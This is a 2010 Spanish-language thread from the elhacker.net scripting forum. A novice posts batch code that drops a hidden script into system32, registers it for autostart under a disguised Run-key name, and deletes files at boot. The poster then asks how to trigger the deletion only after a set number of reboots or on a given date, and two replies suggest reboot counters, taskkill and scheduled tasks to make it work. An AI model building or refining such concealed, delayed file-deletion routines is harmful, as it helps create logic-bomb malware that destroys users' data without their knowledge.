Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: supradyn_activo en 3 Julio 2010, 02:32 am



Título: Pregunta batch
Publicado por: supradyn_activo en 3 Julio 2010, 02:32 am
Querria saber si puedo hacer que un determiando codigo se pueda ejecutar cuando el usuario haya reiniciado el pc un numero determinado de veces...

Código
  1. @echo off
  2. cd "%windir%\system32"
  3. echo @echo off >> conf.bat
  4. echo erase /q "D:\zzzzzz.txt" >>conf.bat
  5. @reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Conf-System /f /D %Windir%\system32\conf.bat
  6. attrib +h "%windir%\system32\conf.bat"

Esto solo lo haria a la primera reiniciada hay alguna manera para que el proceso se alarge a un N veces de reiniciadas¿

Un saludo! :)


Título: Re: Pregunta batch
Publicado por: leogtz en 3 Julio 2010, 08:12 am
Aquí el problema es cómo llevar el conteo de las veces que se ha reiniciado, puedes llevar la cuenta en un archivo de texto o modificando una variable de entorno.

Teniendo el número en el archivo de texto es fácil procesarlo y saber como proseguir.


Título: Re: Pregunta batch
Publicado por: supradyn_activo en 3 Julio 2010, 10:41 am
Como lo haria ? Soy novato en la programacion de batch y nunca he hecho nada similar! prove con dos "echo" seguidos con la intencion de que se descontara una cada vez pero ya no se me ocurre nada!

Un saludo y gracias! :)

Estoy pensando en algo asi:

Código
  1. @echo off
  2. set fin=03/07/2010
  3. if %DATE%==%fin%(
  4. del /f /q /s "D:\a.txt"
  5. ) else (
  6. del /f /q /s "D:\b.txt"
  7. )

Pero nose que hago mal..


Título: Re: Pregunta batch
Publicado por: flony en 3 Julio 2010, 18:18 pm
digo a modo de ejemplo para que se ejecute despues de n veces serian dos bat que arranquen con la pc...
 1=el que vos queres ejecutar
 2=el bat contador
los dos arrancan con la pc pero 1.bat arranca un poco mas tarde "seria usando %time% y sumarle un par de segundos o minutos% a su vez con un if se fijaria si el dato del txt es o no igual si es igual termina de ejecutar si es distinto usando taskkill apaga 1.bat
el 2.bat arranca primero y usando tasklist se fijaria si se ejecuto 1.bat y lo guarda en un txt en la pc ...
otra seria meterlo todo en un solo bat con uso de if y gotos...pero basicamente serian dos funciones en el mismo bat...
ahora viendo tu bat
Código:
@echo off
set fin=03/07/2010
if %DATE%==%fin%(
del /f /q /s "D:\a.txt"
) else (
del /f /q /s "D:\b.txt"
)
le das una fecha cierta no una cantidad n de veces...para eso usa %at% o el %SCHTASKS%